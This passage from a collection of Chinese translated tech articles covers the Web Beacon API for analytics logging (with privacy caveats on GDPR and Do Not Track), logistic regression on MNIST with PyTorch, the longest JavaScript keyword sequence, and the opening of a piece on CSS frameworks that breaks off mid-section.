    "content": "> * 原文地址：[Logging Activity With The Web Beacon API](https://www.smashingmagazine.com/2018/07/logging-activity-web-beacon-api/)\n> * 原文作者：[Drew](https://www.smashingmagazine.com/author/drew-mclellan)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/logging-activity-web-beacon-api.md](https://github.com/xitu/gold-miner/blob/master/TODO1/logging-activity-web-beacon-api.md)\n> * 译者：[Elliott Zhao](https://github.com/elliott-zhao)\n> * 校对者：[Eternaldeath](https://github.com/Eternaldeath), [StellaBauhinia](https://github.com/StellaBauhinia)\n\n# 使用 Web Beacon API 记录活动\n\nBeacon API是一种从网页把信息传递给服务器的轻量并且高效的方法。我们来了解一下如何使用它，以及它与传统的 Ajax 技术有何不同。\n\n![](https://d33wubrfki0l68.cloudfront.net/a2b586e0ae8a08879457882013f0015fa9c31f7c/9e355/images/drop-caps/t.svg)\n\nBeacon API 是一个基于 JavaScript 的 Web API，用于将少量数据从浏览器发送到 Web 服务器，而无需等待响应。在本文中，我们将介绍它可以用在哪些场景，它和其他类似的技术，如 `XMLHTTPRequest`(‘Ajax’) 有何不同，以及如何开始使用它。\n\n如果您知道为什么要使用 Beacon，你可以随时直接跳到[入门](＃入门)部分。\n\n### Beacon API 是做什么用的？\n\nBeacon API用于将少量数据发送到服务器，而**无需等待响应**。后一部分是关键，指出了为何 Beacon 如此有用 —— 我们的代码绝不需要处理响应，即使服务器发送了一个。Beacon 专门用于发送数据然后忘记它。我本并不期待一个响应，而且我们也不会得到响应。\n\n可以把它想象成度假时发回家的明信片。你把少量数据放在上面（有点类似于“真希望你也在这”和“天气真好”），把它放进信箱，你不会期待回应。没有人会给明信片回信说“是呀，我希望我真的在那儿，非常感谢！”\n\n对于现代网站和应用，有很多用例正巧可以被归类进这种发送即忘记的处理模式。\n\n让这个过程表现得**刚刚**好并不是个简单的任务。这就是为什么我们设置**“我这样工作”的会话** —— 智能 cookie 共享取得了很好的效果。当然，这是 [Smashing 会员服务](http://smashed.by/casestudypanelmembership)的一部分。\n\n#### 跟踪统计数据和数据分析\n\n大多数人想到的第一个用例是分析。像 Google Analytics 这样的大型解决方案可能会对页面访问等内容进行很好的概述，但如果我们想要更加个性化的内容呢？我们可以编写一些 JavaScript 来跟踪页面中发生的事情（可能是用户如何与组建交互，或者在听从 CTA 建议之前阅读过哪篇文章），然而我们还需要在用户离开页面的时候发送这些数据到服务器。Beacon 可以完美做到这一点，因为我们只是记录数据而不需要响应。\n\n我们没有理由不能涵盖通常交给 Google Analytics 处理的那些普通任务，基于用户本身和他们的设备与浏览器的功能上报数据。如果用户登录了会话，你甚至可以把这些统计信息绑定到已知的个人。无论您收集什么数据，都可以使用 Beacon 将其发送回服务器。\n\n#### 调试和日志\n\n此行为的另一种有用的应用是从 JavaScript 代码中记录信息。假设你的页面上有一个复杂的交互组件，可以完美的通过所有的测试，但是在生产环境上偶尔失败。你知道出现了失败，但是你没有办法看到错误信息，从而开始调试。如果您可以从代码中嗅探到失败本身，则可以收集诊断信息并使用 Beacon 将其全部发回以进行记录。\n\n实际上，任何日志任务都可以使用 Beacon 执行，例如在游戏中创建存档点，收集有关功能使用的信息，或记录多变量测试的结果。如果您希望服务器知道在浏览器中发生的某件事，那么 Beacon 可能是（完成此需求）的一个有力备选。\n\n### 我们不是早就能做到了么？\n\n我知道你在想什么。没有任何新东西，不是么？十多年来，我们已经能够使用 `XMLHTTPRequest` 从浏览器与服务器进行通信。近期我们又有了 Fetch API， 使用了更现代的，基于 Promise 的接口做到近乎一样的事。既然如此，拿我们为什么需要 Beacon API 呢？\n\n这里的关键是因为我们没有得到响应，浏览器可以排队请求并发送它，**非阻塞执行**任何其他代码。就浏览器而言，无论我们的代码是否仍在运行，或者代码执行到哪都不重要，因为没有什么可以返回的，它可以直接把 HTTP 请求转到后台，直到方便发送的时候。\n\n这可能意味着要等待 CPU 负载较低，或网络空闲，或者在可能的情况下直接发送。重要的是浏览器将 Beacon 排队并立即返回控制。它在发送 Beacon 的时候不会误事。\n\n要理解为什么这是一个了不得的事，我们需要看看如何和怎样从我们的代码发出这种请求。以我们的分析日志脚本为例。我们的代码可能会计算用户在页面上花费的时间，因此在最后一刻将数据发送回服务器变得至关重要。当用户要离开页面的时候，我们希望停止计时器并且把数据送回家。\n\n一般来讲，你应该使用 `unload` 或者 `beforeunload` 事件来执行日志。这些事件会在用户做出类似点击连接导航到其他页面这种操作的时候触发。这里有个问题，在某个 `unload` 事件上运行的代码会阻塞执行并且延迟页面的卸载。如果页面卸载被延迟，那么加载下一个页面也会被延迟，因此体验上会感觉很迟钝。\n\n你要记得 HTTP 请求到底有多慢。如果您正在考虑性能，通常您尝试减少的主要因素之一是额外的 HTTP 请求，因为向网络发送请求并获得响应可能会超级慢。你最不想做的事就是把这个耗时操作放在激活链接和开始请求下一个页面之间。\n\nBeacon 通过不阻塞的把请求排队，即刻把控制权交还给你的代码的方式处理这一点。然后浏览器负责在后台不阻塞地发送该请求。这使得一切都快得多，这让用户更高兴，也让我们都保住了工作。\n\n### 入门\n\n因此，我们了解 Beacon 是什么，以及为什么我们要用到它，所以让我们从一些代码开始。基础简单到不能再简单：\n\n```\nlet result = navigator.sendBeacon(url, data);\n```\n\n结果是 boolean，如果浏览器接受并且把请求排队了则返回 `true`，如果在这个过程中出现了问题就返回 `false`。\n\n#### 使用 `navigator.sendBeacon()`\n\n`navigator.sendBeacon` 接受两个参数。第一个参数是请求的 URL。请求作为 HTTP POST 执行，发送在第二个参数中提供的任何数据。\n\n数据参数可以是多种格式中的任何一种，这些是直接从 Fetch API 中拿过来的。可以是一个 `Blob`，一个 `BufferSource`，`FormData` 或者 `URLSearchParams`—— 基本上是使用 Fetch 创建请求时使用的任何请求体类型。\n\n对于基础的键值数据，我喜欢使用 `FormData`，因为它不复杂也很容易读回。\n\n```\n// 将数据发送目标 URL\nlet url = '/api/my-endpoint';\n    \n// 创建一个新的 FormData 并添加一个键值对\nlet data = new FormData();\ndata.append('hello', 'world');\n    \nlet result = navigator.sendBeacon(url, data);\n    \nif (result) { \n  console.log('Successfully queued!');\n} else {\n  console.log('Failure.');\n}\n```\n\n#### 浏览器支持\n\n浏览器对 Beacon 的支持很好，唯一值得注意的例外是 Internet Explorer（在 Edge 中能用）和 Opera Mini。对于大部分的用法，应该都可以运行，但在使用 `navigator.sendBeacon` 之前对（浏览器）的支持性进行测试也是值得的。\n\n```\n很简单就能做到：\n\n    if (navigator.sendBeacon) {\n      // Beacon 代码\n    } else {\n      // 没有 Beacon或许可以回退到 XHR？\n    }\n```\n\n如果 Beacon 不可用，而且这个请求很重要，你可以回退到 XHR 等阻塞方法。取决于你的受众和目标，你同样可以选择不理会。\n\n### 一个例子：记录在页面上停留的时间\n\n为了在实践中理解，让我们创建一个基本的系统来记录用户停留在页面上的时间。当页面加载时，我们会记录下时间，当用户离开页面时，我们将发送开始时间和当前时间到服务器。\n\n由于我们只关心所花费的时间（而不是实际的时间），所以我们可以使用 `performance.now()` 来获得页面加载时的基本时间戳。\n\n```\nlet startTime = performance.now();\n```\n\n如果我们把日志放到一个函数中，我们可以在页面卸载时调用它。\n\n```\nlet logVisit = function() {\n  // 测试我们拥有 Beacon 支持\n  if (!navigator.sendBeacon) return true;\n      \n  // 数据发送的URL的例子\n  let url = '/api/log-visit';\n      \n  // 要发送的数据\n  let data = new FormData();\n  data.append('start', startTime);\n  data.append('end', performance.now());\n  data.append('url', document.URL);\n      \n  // 出发！\n  navigator.sendBeacon(url, data);\n};\n```\n\n最后，当用户离开页面时，我们需要调用这个函数。我本能地想使用 `unload` 事件，但是 Mac 上的 Safari 似乎用安全警告阻止了请求，所以我们在这边使用 `beforeunload` 会更好一些。\n\n```\nwindow.addEventListener('beforeunload', logVisit);\n```\n\n当页面卸载（或者马上要卸载）的时候，我们的 `logVisit()` 函数会被调用，如果浏览器支持 Beacon API 的话，我们的 Beacon 就会被发送。\n\n（注意，如果没有 Beacon 支持，我们返回 `true` ，假装一切正常。返回 `false` 会取消事件并且终止页面卸载。那就倒霉了。）\n\n### 跟踪时的注意事项\n\n由于 Beacon 的许多潜在用途都围绕着活动跟踪，我认为，当我们的日志和跟踪可能被绑定到用户时，如果不提开发人员的社会责任和法律责任，那就太轻率了。\n\n#### GDPR\n\n我们可以考虑最近欧洲的 GDPR 法案，它们和电子邮件有关，不过当然，这些法律也涉及任何形式的个人数据的存储。如果你知道你的用户是谁，并且可以识别他们的会话，那么你应该检查你正在记录的活动，以及它与你所声明的用户条款有何关系。\n\n通常，我们不需要像开发人员告诉我们的那样，跟踪尽可能多的数据。最好是故意**不**存储能用来识别用户的信息，然后减少把事情搞砸的可能性。\n\n#### DNT: Do Not Track\n\n除了法律要求之外，大多数浏览器都有一个设置来允许用户表达不想被跟踪的意愿。Do Not Track 会随请求发送这样一个 HTTP 报头：\n\n```\nDNT: 1\n```\n\n如果您正在记录可以跟踪特定用户的数据，并且用户发送了一个正数的 `DNT` 报头，那么最好遵循用户的意愿并且匿名化该数据，或者根本不跟踪它。\n\n例如，在PHP中，您可以很容易地检测这个报头如下：\n\n```\nif (!empty($_SERVER['HTTP_DNT'])) { \n  // 用户不想被跟踪…… \n}\n```\n\n### 总结\n\nBeacon API 是从页面返回数据到服务器的一种非常有用的方式，尤其是对于日志这种内容。浏览器支持非常广泛，它可以使您无缝地记录数据，而不会对用户的浏览体验和网站性能造成负面影响。请求的非阻塞性意味着性能比 XHR 和 Fetch 等替代方案好很多。\n\n如果你想阅读更多关于 Beacon API 的文章，下面的网站值得一看。\n\n*   “[W3C Beacon 规范](https://www.w3.org/TR/beacon/)”，W3C 备选推荐\n*   “[MDN Beacon 文档](https://developer.mozilla.org/en-US/docs/Web/API/Beacon_API)”，MDN 网络文档，Mozilla\n*   “[浏览器支持信息](https://caniuse.com/#feat=beacon)”，caniuse.com\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/logistic-regression-on-mnist-with-pytorch.md",
    "content": "> * 原文地址：[Logistic Regression on MNIST with PyTorch](https://towardsdatascience.com/logistic-regression-on-mnist-with-pytorch-b048327f8d19)\n> * 原文作者：[Asad Mahmood](https://medium.com/@asad007mahmood)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/logistic-regression-on-mnist-with-pytorch.md](https://github.com/xitu/gold-miner/blob/master/TODO1/logistic-regression-on-mnist-with-pytorch.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[fireairforce](https://github.com/fireairforce)\n\n# 使用 PyTorch 在 MNIST 数据集上进行逻辑回归\n\n**逻辑回归（Logistic Regression）**既可以用来描述数据，也可以用来解释数据中各个二值变量、类别变量、顺序变量、距离变量、比率变量之间的关系[1]。下图展示了**逻辑回归**与**线性回归**的区别。\n\n![Taken from [https://www.sciencedirect.com/topics/nursing-and-health-professions/logistic-regression-analysis](https://www.sciencedirect.com/topics/nursing-and-health-professions/logistic-regression-analysis)](https://cdn-images-1.medium.com/max/2000/1*xFhICZgdr2VEZQ-C4FLUEA.jpeg)\n\n本文将展示如何使用 PyTorch 编写逻辑回归模型。\n\n我们将尝试在 MNIST 数据集上解决分类问题。首先，导入我们所需要的所有库：\n\n```python\nimport torch\nfrom torch.autograd import Variable\nimport torchvision.transforms as transforms\nimport torchvision.datasets as dsets\n```\n\n在创建模型前，我喜欢列一个如下的步骤表。PyTorch 官网[2]上也有这个步骤列表：\n\n```python\n# 第一步：加载数据集\n# 第二步：使数据集可迭代\n# 第三步：创建模型类\n# 第四步：将模型类实例化\n# 第五步：实例化 Loss 类\n# 第六步：实例化优化器类\n# 第七步：训练模型\n```\n\n下面我们将一步步完成上述的步骤。\n\n### 加载数据集\n\n我们使用 **torchvision.datasets** 来加载数据集。这个库中包含了几乎全部的用于机器学习的流行数据集。在[3]中可以看到完整的数据集列表。\n\n```python\ntrain_dataset = dsets.MNIST(root='./data', train=True, transform=transforms.ToTensor(), download=False)\ntest_dataset = dsets.MNIST(root='./data', train=False, transform=transforms.ToTensor())\n```\n\n### 使数据集可迭代\n\n我们利用 DataLoader 类，使用以下代码来让我们的数据集可被迭代：\n\n```python\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True)\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset, batch_size=batch_size, shuffle=False)\n```\n\n### 创建模型类\n\n现在，我们将创建一个用来定义逻辑回归模型结构的类：\n\n```python\nclass LogisticRegression(torch.nn.Module):\n    def __init__(self, input_dim, output_dim):\n        super(LogisticRegression, self).__init__()\n        self.linear = torch.nn.Linear(input_dim, output_dim)\n\n    def forward(self, x):\n        outputs = self.linear(x)\n        return outputs\n```\n\n### 将模型类实例化\n\n在将模型类实例化之前，我们先初始化如下所示的参数：\n\n```python\nbatch_size = 100\nn_iters = 3000\nepochs = n_iters / (len(train_dataset) / batch_size)\ninput_dim = 784\noutput_dim = 10\nlr_rate = 0.001\n```\n\n然后，就能初始化我们的逻辑回归模型了：\n\n```python\nmodel = LogisticRegression(input_dim, output_dim)\n```\n\n### 实例化 Loss 类\n\n我们使用交叉熵损失来计算 loss：\n\n```python\ncriterion = torch.nn.CrossEntropyLoss() # 计算 softmax 分布之上的交叉熵损失\n```\n\n### 实例化优化器类\n\n优化器（optimizer）就是我们即将使用的学习算法。在本例中，我们将使用随机梯度下降（SGD）作为优化器：\n\n```python\noptimizer = torch.optim.SGD(model.parameters(), lr=lr_rate)\n```\n\n### 训练模型\n\n这就是最后一步了。我们将用以下的代码来训练模型：\n\n```python\niter = 0\nfor epoch in range(int(epochs)):\n    for i, (images, labels) in enumerate(train_loader):\n        images = Variable(images.view(-1, 28 * 28))\n        labels = Variable(labels)\n\n        optimizer.zero_grad()\n        outputs = model(images)\n        loss = criterion(outputs, labels)\n        loss.backward()\n        optimizer.step()\n\n        iter+=1\n        if iter%500==0:\n            # 计算准确率\n            correct = 0\n            total = 0\n            for images, labels in test_loader:\n                images = Variable(images.view(-1, 28*28))\n                outputs = model(images)\n                _, predicted = torch.max(outputs.data, 1)\n                total+= labels.size(0)\n                # 如果用的是 GPU，则要把预测值和标签都取回 CPU，才能用 Python 来计算\n                correct+= (predicted == labels).sum()\n            accuracy = 100 * correct/total\n            print(\"Iteration: {}. Loss: {}. Accuracy: {}.\".format(iter, loss.item(), accuracy))\n```\n\n在训练时，这个模型只需要进行 3000 次迭代就能达到 **82%** 的准确率。你可以试着继续调整一下参数，看看还能不能把准确率再调高一点。\n\n如果你想加深对在 PyTorch 中实现逻辑回归的理解，可以把上面的模型应用于任何分类问题。比如，你可以训练一个逻辑回归模型来对你最喜爱的**漫威英雄**的图像做个分类（有一半已经化灰了，所以做分类应该不是很难）:)\n\n### 引用\n\n[1] [https://www.statisticssolutions.com/what-is-logistic-regression/](https://www.statisticssolutions.com/what-is-logistic-regression/)\n\n[2] [https://pytorch.org/tutorials/beginner/blitz/neural_networks_tutorial.html#sphx-glr-beginner-blitz-neural-networks-tutorial-py](https://pytorch.org/tutorials/beginner/blitz/neural_networks_tutorial.html#sphx-glr-beginner-blitz-neural-networks-tutorial-py)\n\n[3] [https://pytorch.org/docs/stable/torchvision/datasets.html](https://pytorch.org/docs/stable/torchvision/datasets.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/longest-keyword-sequence.md",
    "content": "> * 原文地址：[What's the longest keyword sequence in Javascript?](https://gist.github.com/lhorie/c0d9fd9b2aa215f4984f3ce1c8fd01bf)\n> * 原文作者：[Leo Horie](https://mithril.js.org/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/longest-keyword-sequence.md](https://github.com/xitu/gold-miner/blob/master/TODO1/longest-keyword-sequence.md)\n> * 译者：[xionglong58](https://github.com/xionglong58)\n> * 校对者：[Endone](https://github.com/Endone), [Jingyuan0000](https://github.com/Jingyuan0000)\n\n# Javascript 中最长的关键字序列长什么样子？\n\n最近有几个关于使用 Javascript 编写最长关键字序列的挑战。\n\n* https://twitter.com/bterlson/status/1093624668903268352\n* https://news.ycombinator.com/item?id=19102367\n\n但问题是：\n\n* 这些解决方案使用了非关键字标记(null、true、false 实际上是[字面量](https://tc39.github.io/ecma262/#prod-Literal)，而不是[关键字](https://tc.github.io/ecma262/#prod-Keyword))\n* 其中一个解决方案有些说不通\n\n让我们试试能不能做的更好。\n\n（但是我们首先的回顾一些基础规则）\n\n## 规则\n\n1) 代码必须能作为有效的 Javascript 进行解析和运行。不能忽略 [early errors](https://tc39.github.io/ecma262/#early-error)\n2) 只允许使用[关键字](https://tc39.github.io/ecma262/#sec-keywords)\n3) 除小写字母外，其它唯一允许的字符是空格\n4) 不能在序列中重复使用一个关键字\n5) 您可以根据需要添加尽可能多的前同步码和后同步码\n\n## 额外挑战\n\n6) 关键字之间允许换行\n7) 允许使用类似关键字的标记\n\n## 进入正题\n\n[@arjunb_msft](https://twitter.com/arjunb_msft) 提出的最长 15 个关键字的程序\n\n```js\nfunction *f() {\n  if (1);\n  else do return yield delete true instanceof typeof void new class extends false in this {}; while (1)\n}\n```\n\n不幸的是，他的方法里使用了保留字 `true` 和 `false`，而两者实际上不是关键字。在 Chrome 中运行程序也会抛出一个错误：“Uncaught SyntaxError: Unexpected token in”。\n\n[@bluepnume](https://news.ycombinator.com/user?id=bluepnume) 提出 15 个关键字的方案是：\n\n```js\nasync function* foo() {\n  return yield delete void await null in this instanceof typeof new class extends async function () {} {}\n}\n```\n\n这段程序可以在 Chrome 中运行，但是程序中使用了 `null`，这也不是一个关键字。\n\n虽然有些卖弄，如果我们从第二个解决方案中剔除 `null`，并结合第一个解决方案，可以得到一个不同的 15 个关键字长度的解决方案：\n\n```js\nasync function* foo() {\n  if (0);\n  else do return yield delete void await this instanceof typeof new class extends async function\n  () {} {}; while (0)\n}\n```\n\n哦耶！\n\n## 更有趣的在这儿\n\n虽然这样做没什么意思，但卖弄知识却很有趣。\n\n但不用担心，因为在下面的讨论中 [Bterlson](https://twitter.com/bterlson/status/1093651943325483008) 作了这样的补充:\n\n> `this`、`null` 和 `undefined` 可以认为是关键字，即使它们在技术上不是关键字。这使得比赛更有趣（加上编辑们把它们标记成关键字，所以这么说也行得通）\n\n从技术层面讲，`this` 实际上是一个关键字。但是，Bterlson 对 `null` 和 `undefined` 不是关键字的认定却是正确的。\n\n在余下部分，我们可以看到 `true` 和 `false` 也被当作关键字使用。这就给我们带来了一个问题：如果可以使用非关键字标记，那么对于这个挑战，哪些标记更合适？\n\n`null`、`true` 和 `false` 的共同点是它们都是只包含字母的字面量（显然，包含字符和数字的字面量是不允许的）。\n\n由于可以使用 null 字符和 boolean 字符，我们可以轻松地复现出先前的序列，并构建 17 个单词长度的序列：\n\n```js\nasync function* foo() {\n  if (0);\n  else do return yield await delete void typeof null instanceof this in new class extends async function () {} {}; while (0);\n}\n```\n\n那 `undefined` 呢？它实际上是一个标识符。如果允许 ASI，那我们就可以使用任意标识符去构造一个无限序列，但这就索然无味了，也失去了挑战的乐趣。\n\n```js\na\nb\nc\n// boooring\n```\n\n我倒认为这项挑战的意义在于仅使用**类似**关键字的标记完成挑战（即使这些类似关键字的词在技术层面不能算作规范的关键字）。\n\n下面是一些看起来像关键字但实际上不是关键字的标记：\n\n```js\nlet x\nfor (foo of bar) {}\nclass { static foo() {} }\nimport {foo as bar} from 'baz'\n{get foo() {}, set foo() {}}\n```\n\n如果你不喜欢仔细研究编程语言诸多的规范，而且不能一眼看出哪些标记是关键字，哪些不是关键字，那么下面的标记都可以当作是关键字：`let`、`of`、`static`、`as`、`from`、`get`、`set`。它们看起来也确实像关键字。\n\n我们可能认为不可以往上面的列表中添加 `NaN` 和 `Infinity` 之类的东西，是因为它们与 `undefined` 属于同一个类型，都是标识符（标识符总是指向相同的值），也可能是由于只允许使用小写字符。不管怎样，我们将它们排除在外。我们也应该排除 `atguments`，因为在语法规范中它没有作为标记出现，因此它实际上只是一个 magic 变量，而不是关键字。\n\n另一个我们需要排除是 `new.target`，因为它中间有一个“.”。\n\n一些标记例如 `enum` 和 `public` 是保留字，它们看起来非常像关键字，特别是如果你熟悉像 Java 这样的语言。问题是，它们在语法中几乎处处都会自动变成语法错误，所以即使我们允许使用它们，也不能真正地使用它们...\n\n```js\n// the party poopers\n\nlet enum // SyntaxError\ninterface Bar {} // SyntaxError\npackage Baz; // SyntaxError\nclass {\n  private foo() {} // SyntaxError\n}\n```\n\n既然我们已经理清了规则，我们接下来能做什么呢？\n\n当然有很多啦\n\n由于一贯的向后兼容性问题，在某些情况下，许多“关键字” 充当...呃，不能称它们为关键词。我们之前说过滥用 ASI 和标识符很无聊，但你知道吗？在 Javascript 他们却是有效的语法。\n\n```js\nvar undefined\ntypeof let\n```\n\n这当然不是无聊的，而且非常有希望，所以以娱乐的名义，我们必须允许它。\n\n最后还有一个小细节要谈。虽然上面的代码片段很有趣，而且让人眼花缭乱，但它有一个问题：它跨越了两行。很不幸，但我们需要 ASI 将这两个语句分开，所以我们无法将它们放在同一行。\n\n或者这样做：\n\n输入一个段落分隔符（`\\u2029`），如果正确呈现，它看起来如下：<code></code>\n\n什么都看不见？这就对了！这是一个**隐形变量**。\n\n现在，有了上面的知识储备，我们可以提出自己的解决方案：\n\n```js\nasync function* foo() {\n  from: set: while (0) {\n    if (0)\n    throw as  else this  null  continue from  false  break set  true  var let  debugger  do return yield await delete void typeof get instanceof static in new class of extends async function undefined\n    () {} {}; while (0);\n  }\n}\n```\n\n你没看错，这就是在 Chrome 上解析和运行有效的 Javascript 程序。它是在一行中有 **32 个关键字的序列！**\n\n当然，并不是所有 32 个词都是关键字，这可能是 ASI 有史以来最严重的滥用，但是，这仍然有挑战意义。另外，我很开心，这才是最重要的！\n\n那么，你觉得呢？你能做一个更长的序列吗？你能弄明白为什么这在语法上是有效的吗？这是作弊吗？Gists [译者注：原文发布在 gist 上]是有史以来最被滥用的博客平台吗？下面评论！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/love-js-hate-css.md",
    "content": "> * 原文地址：[Love JavaScript, but hate CSS?](https://daveceddia.com/love-js-hate-css/)\n> * 原文作者：[Dave Ceddia](https://daveceddia.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/love-js-hate-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/love-js-hate-css.md)\n> * 译者：[allenlongbaobao](https://github.com/allenlongbaobao)\n> * 校对者：[Xekin-FE](https://github.com/Xekin-FE)、[L9m](https://github.com/L9m)\n\n# 热爱 JavaScript，但是讨厌 CSS ？\n\n![热爱 JS，讨厌 CSS](https://daveceddia.com/images/love-js-hate-css.png)\n\n一个读者留言说他自己写起 JS 和 React 来觉得很有趣，但是当要处理样式的时候，他就很沮丧。\n\n> 我热爱 JavaScript 但是我讨厌 CSS，我没有耐心去改变这一现状。\n\n编程是有趣的，解决问题也是有趣的。当你经历千辛万苦让你的程序正确运行的时候，这种感觉，简直不可思议。\n\n然而，**哦，糟糕，是 CSS**。你的 App 运行得很好，就是样式有点糟糕，那么没有人会把它当回事，因为它不像 Apple(TM) 看上去那么高大上。\n\n## 你不是一个人\n\n首先，我要明确一个事：如果你热爱前端中的其他所有事，**除了 CSS**，那么你并不是另类。我在现实 **工作** 中认识一些专业级别的 UI 开发者，他们要么在样式处理方面很糟糕，要么 **能解决样式问题** 但是讨厌这个过程并且想方设法尽快把这一环节熬过去。\n\n几年前我也曾经历过这样的困境，CSS 就像是一个有魔力的黑盒，每当我往里面输入一些代码，至少三分之二的情况下，它会输出一些比我开始编码前还要糟糕的东西。我通过 Google 和 StackOverflow 来解决大部分的 CSS 难题，并且发疯似地祈祷有人遇到跟我一模一样的难题（从某种意义上来讲，他们的确有过）。\n\n当我从那个不堪回首的阴影下走出来后，我可以负责任地说：CSS（以及给页面应用样式这一过程）是一项可习得的技能。甚至 **设计** 也是一项可习得的技能。严格来讲，它们是不同的技能。\n\n## 样式应用不等同与设计\n\n拿到现成的视觉设计稿，然后通过写 CSS 代码把一大堆 `div` 转化成和设计稿相匹配，这个过程就是所谓的 **样式应用（ styling ）**\n\n拿过来一块空白画布，在上面呈现出一个美观的网页，这个过程是所谓的 **设计（ design ）**\n\n可能出现的情况是：你做到了熟练掌握（甚至是精通）这两项中的其中一项，与此同时，另一项则是一窍不通。\n\n作为一个前端，你需要掌握一定的样式应用技巧（CSS），但不一定需要掌握设计技巧\n\n## 我能选择逃避 CSS 吗？\n\n我也希望我能大声地告诉你：忘掉 CSS 吧，只要 100% 专注于 JS 就可以了。\n\n但是真相是：我不能。只要你还想走前端这条路，就不可避免地跟 CSS 打交道，学习一些 CSS。\n\n经验告诉我，一旦你对 CSS 了解多了一点，它看上去就没那么难，甚至还有点有趣。当我发现我能正确地应用样式到一个页面，并且知道修改哪个参数让它达到我想要的效果，这种感觉，也是很令人满意的。\n\n## 我该怎么做？\n\n既然不能逃避，那么就学一些让 CSS 不怎么难的技巧吧。\n\n### 框架\n\nCSS 框架能让你快速开发项目，它能很好地弥补设计技巧的不足。通常，它们都可以通过 npm/yarn 来安装，或者通过 CDN 来部署。每种框架都有自己的特色样式，所以你在做选择的时候就要有所权衡。CSS 框架能够帮助你搭建一个美观的应用，其中避免了大量样式布局的困扰（至少没那么多）。\n\n以下就是一些流行的框架（我选了一些和 React 兼容的）：\n\n*   [Bootstrap](https://getbootstrap.com/) —— 非常流行（注：在 SO 上有大量的问答），而且外观很正式。最新版本（V4）看上去更加现代化，老版本显得有些过时了。你可以自定义样式，也可以使用免费主题和 [付费主题](https://themes.getbootstrap.com/) 来改变它的外观。如果你正在使用 React，可以通过 [react-bootstrap](https://react-bootstrap.github.io/getting-started/introduction) 来获取大量的预制组件比如现代化控件、弹框、表单等等。\n\n*   [Semantic UI](https://react.semantic-ui.com/introduction) —— 另一个兼容 React 组件的流行 CSS 框架，它的可用组件比 Bootstrap 更多，外观上（我认为）更加的现代化。\n\n*   [Blueprint](http://blueprintjs.com/) ——  Blueprint 外观上比 Bootstrap 和 Semantic UI 更棒，至少我这么觉得。但是我自己没有使用过它。Blueprint 脱颖而出的一点是它是用 TypeScript 写的，而且支持 TypeScript 开发。它并不 **依赖** TypeScript，但是如果你在用 TS，那么它值得一试。\n\n除了以上三种，还有很多好用的 CSS 框架。下面是一些 [列表](https://hackernoon.com/the-coolest-react-ui-frameworks-for-your-new-react-app-ad699fffd651) ，它们都支持 React。\n\n如果说框架是让你少碰一些 CSS，那么下面两种方法就更加直接地帮助你轻松应对 CSS。\n\n### 